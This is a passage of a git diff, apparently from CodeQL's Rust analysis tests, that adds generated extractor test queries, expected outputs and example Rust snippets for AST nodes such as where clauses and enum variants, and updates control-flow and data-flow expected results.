+| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | getNumberOfUseBoundGenericArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql new file mode 100644 index 00000000000..5100891c77a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int getNumberOfUseBoundGenericArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfUseBoundGenericArgs = x.getNumberOfUseBoundGenericArgs() +select x, "getNumberOfUseBoundGenericArgs:", getNumberOfUseBoundGenericArgs diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected new file mode 100644 index 00000000000..9cae2694f99 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.expected @@ -0,0 +1,3 @@ +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 0 | gen_use_bound_generic_args.rs:7:63:7:64 | 'a | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 1 | gen_use_bound_generic_args.rs:7:67:7:67 | T | +| gen_use_bound_generic_args.rs:7:62:7:71 | UseBoundGenericArgs | 2 | gen_use_bound_generic_args.rs:7:70:7:70 | N | diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql new file mode 100644 index 00000000000..794bf615b04 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getUseBoundGenericArg(index) diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs new file mode 100644 index 00000000000..bb04264d33e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_use_bound_generic_args() -> () { + // A use<..> bound to control which generic parameters are captured by an impl Trait return type. + // + // For example: + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs index 56dba336e8a..2acaed7e426 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs +++ b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_use_tree() -> () { - // A UseTree. For example: + // A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: use std::collections::HashMap; use std::collections::*; use std::collections::HashMap as MyHashMap; diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected index e69de29bb2d..1d1bbfd4e14 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList.expected @@ -0,0 +1 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | getNumberOfUseTrees: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected index e69de29bb2d..1bfef2daee1 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.expected @@ -0,0 +1,2 @@ +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 0 | gen_use_tree_list.rs:7:15:7:16 | fs | +| gen_use_tree_list.rs:7:14:7:21 | UseTreeList | 1 | gen_use_tree_list.rs:7:19:7:20 | io | diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs index dfbdef69408..f0516ba2274 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_use_tree_list() -> () { - // A UseTreeList. For example: - todo!() + // A list of use trees in a use declaration. + // + // For example: + use std::{fs, io}; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected index e69de29bb2d..cca0757d458 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | no | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:17:7:22 | B | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | +| gen_variant.rs:7:25:7:36 | C | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasDiscriminant: | no | hasFieldList: | yes | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected index e69de29bb2d..9461de62cc6 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getFieldList.expected @@ -0,0 +1,2 @@ +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:18:7:22 | TupleFieldList | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:27:7:36 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected index e69de29bb2d..87faede2aad 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getName.expected @@ -0,0 +1,3 @@ +| gen_variant.rs:7:14:7:14 | A | gen_variant.rs:7:14:7:14 | A | +| gen_variant.rs:7:17:7:22 | B | gen_variant.rs:7:17:7:17 | B | +| gen_variant.rs:7:25:7:36 | C | gen_variant.rs:7:25:7:25 | C | diff --git a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs index 37e7506e2bc..91d4614d5ed 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs +++ b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant() -> () { - // A Variant. For example: - todo!() + // A variant in an enum declaration. + // + // For example: + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected index e69de29bb2d..b7b25116f58 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList.expected @@ -0,0 +1 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | getNumberOfVariants: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected index e69de29bb2d..c62dfe00472 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected +++ b/rust/ql/test/extractor-tests/generated/VariantList/VariantList_getVariant.expected @@ -0,0 +1,3 @@ +| gen_variant_list.rs:7:12:7:22 | VariantList | 0 | gen_variant_list.rs:7:14:7:14 | A | +| gen_variant_list.rs:7:12:7:22 | VariantList | 1 | gen_variant_list.rs:7:17:7:17 | B | +| gen_variant_list.rs:7:12:7:22 | VariantList | 2 | gen_variant_list.rs:7:20:7:20 | C | diff --git a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs index c13f6430cc6..44a126fbbc8 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs +++ b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant_list() -> () { - // A VariantList. For example: - todo!() + // A list of variants in an enum declaration. + // + // For example: + enum E { A, B, C } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected index e69de29bb2d..7be919b547e 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected +++ b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected @@ -0,0 +1 @@ +| gen_visibility.rs:7:7:7:9 | Visibility | hasPath: | no | diff --git a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs index 5dbc762f3e7..6f2292f2359 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs +++ b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_visibility() -> () { - // A Visibility. For example: - todo!() + // A visibility modifier. + // + // For example: + pub struct S; + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected index e69de29bb2d..4610fc7dea1 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | getNumberOfPredicates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected index e69de29bb2d..b8fcba86a6a 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected +++ b/rust/ql/test/extractor-tests/generated/WhereClause/WhereClause_getPredicate.expected @@ -0,0 +1 @@ +| gen_where_clause.rs:7:21:7:34 | WhereClause | 0 | gen_where_clause.rs:7:27:7:34 | WherePred | diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs index ef389c9ee4f..9d3dd408d40 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs +++ b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_clause() -> () { - // A WhereClause. For example: - todo!() + // A where clause in a generic declaration. + // + // For example: + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected index e69de29bb2d..d2988eb245d 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | +| gen_where_pred.rs:7:46:7:53 | WherePred | hasGenericParamList: | no | hasLifetime: | no | hasTypeRepr: | yes | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected index e69de29bb2d..2b3b7d1172a 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeBoundList.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:39:7:43 | TypeBoundList | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:49:7:53 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected index e69de29bb2d..92c8489eda0 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/WherePred/WherePred_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_where_pred.rs:7:36:7:43 | WherePred | gen_where_pred.rs:7:36:7:36 | T | +| gen_where_pred.rs:7:46:7:53 | WherePred | gen_where_pred.rs:7:46:7:46 | U | diff --git a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs index 781d4697e20..48a6b7bf256 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs +++ b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_pred() -> () { - // A WherePred. For example: - todo!() + // A predicate in a where clause. + // + // For example: + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected index e69de29bb2d..547e3e0ad2e 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected index e69de29bb2d..1b6f53eeea0 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:11:7:16 | ... < ... | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected index e69de29bb2d..54fd5ed5152 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:18:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs index 5078a8a794f..92f095e34d2 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_while_expr() -> () { - // A WhileExpr. For example: - todo!() + // A while loop expression. + // + // For example: + while x < 10 { + x += 1; + } } diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected index 2b87a4996b1..1b4b770c130 100644 --- a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected +++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected @@ -675,20 +675,11 @@ dominates | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:30:455:30 | 3 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:456:13:456:13 | _ | | test.rs:454:9:457:9 | match a { ... } | test.rs:454:9:457:9 | match a { ... } | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:461:9:464:9 | match pair { ... } | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:462:32:462:32 | _ | @@ -1356,16 +1347,9 @@ postDominance | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:461:9:464:9 | match pair { ... } | @@ -1673,9 +1657,6 @@ immediateDominator | test.rs:455:13:455:25 | 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:462:32:462:32 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:463:13:463:13 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | @@ -2204,12 +2185,10 @@ joinBlockPredecessor | test.rs:443:13:443:36 | ... \| ... | test.rs:443:26:443:36 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:13:443:22 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:18:443:21 | true | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | 1 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:462:32:462:32 | _ | 0 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:463:13:463:13 | _ | 1 | | test.rs:476:9:480:9 | match e { ... } | test.rs:477:32:477:32 | _ | 0 | diff --git a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected b/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected deleted file mode 100644 index 495070e6de3..00000000000 --- a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected +++ /dev/null @@ -1,7 +0,0 @@ -deadEnd -| test.rs:455:13:455:25 | one_or_two!... | -multipleSuccessors -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:456:13:456:13 | _ | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:30:455:30 | 3 | diff --git a/rust/ql/test/library-tests/controlflow/Cfg.expected b/rust/ql/test/library-tests/controlflow/Cfg.expected index b51f42537d1..44dd60e915a 100644 --- a/rust/ql/test/library-tests/controlflow/Cfg.expected +++ b/rust/ql/test/library-tests/controlflow/Cfg.expected @@ -1129,9 +1129,7 @@ edges | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | | test.rs:455:13:455:25 | MacroPat | test.rs:455:13:455:25 | 1 | match | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | no-match | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | no-match | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | match | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | match | | test.rs:455:30:455:30 | 3 | test.rs:454:9:457:9 | match a { ... } | | | test.rs:456:13:456:13 | _ | test.rs:456:18:456:18 | 4 | match | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index b7300075dc3..4186b084133 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -866,98 +866,8 @@ localStep | main.rs:565:13:565:33 | result_questionmark(...) | main.rs:565:9:565:9 | _ | | main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr | | main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) | -storeStep -| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | -| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | -| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | -| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | -| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | -| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | -| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | -| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | -| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | -| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | -| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | -| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | -| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | -| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:214:27:214:36 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:214:14:214:37 | ...::Some(...) | -| main.rs:215:27:215:27 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:215:14:215:28 | ...::Some(...) | -| main.rs:227:19:227:28 | source(...) | 